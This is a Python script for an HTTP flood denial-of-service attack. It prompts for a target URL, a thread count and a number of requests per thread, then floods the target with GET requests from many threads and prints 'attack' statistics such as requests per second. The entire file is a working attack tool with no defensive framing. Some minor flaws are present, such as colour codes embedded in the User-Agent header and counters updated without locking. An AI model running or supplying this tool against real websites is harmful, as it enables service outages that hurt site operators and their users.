import requests
import threading
import time

class Color:
    RED = '\033[91m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    BLUE = '\033[94m'
    MAGENTA = '\033[95m'
    CYAN = '\033[96m'
    END = '\033[0m'

user_agents = {
    1: f"{Color.RED}Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36{Color.END}",
    2: f"{Color.GREEN}Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/16.16299{Color.END}",
    3: f"{Color.YELLOW}Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36{Color.END}",
    4: f"{Color.BLUE}Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.164 Safari/537.36{Color.END}",
    5: f"{Color.MAGENTA}Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.185 Safari/537.36{Color.END}",
    6: f"{Color.CYAN}Mozilla/5.0 (Linux; Android 10; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.120 Mobile Safari/537.36{Color.END}"
}

print("Please select a User-Agent:")
for key, value in user_agents.items():
    print(f"{key}: {value}")

selected_index = int(input("Enter the User-Agent number you want to use: "))
while selected_index not in user_agents.keys():
    selected_index = int(input("Please enter a valid User-Agent number: "))

target_url = input("Enter the target URL: ")
headers = {
    "User-Agent": user_agents[selected_index]
}
threads_count = int(input("Enter the number of threads: "))
requests_per_thread = int(input("Enter the number of requests per thread: "))
total_requests = threads_count * requests_per_thread

start_time = time.time()
request_count = 0
success_count = 0
failure_count = 0
lock = threading.Lock()

def http_flood(thread_id):
    global request_count, success_count, failure_count
    for _ in range(requests_per_thread):
        try:
            response = requests.get(target_url, headers=headers)
            if response.status_code == 200:
                success_count += 1
            else:
                failure_count += 1
        except requests.exceptions.RequestException:
            failure_count += 1
        finally:
            with lock:
                request_count += 1
            print(f"Sent request to URL: {target_url}")


threads = []
for i in range(threads_count):
    thread = threading.Thread(target=http_flood, args=(i+1,))
    threads.append(thread)
    thread.start()

for thread in threads:
    thread.join()

end_time = time.time()
duration = end_time - start_time

print(f"Attack completed, total {total_requests} requests sent")
print(f"Number of successful requests: {success_count}")
print(f"Number of failed requests: {failure_count}")
print(f"Percentage of successful requests: {success_count / total_requests * 100:.2f}%")
print(f"Attack duration: {duration} seconds")
print(f"Average requests per second: {total_requests / duration:.2f} requests/sec")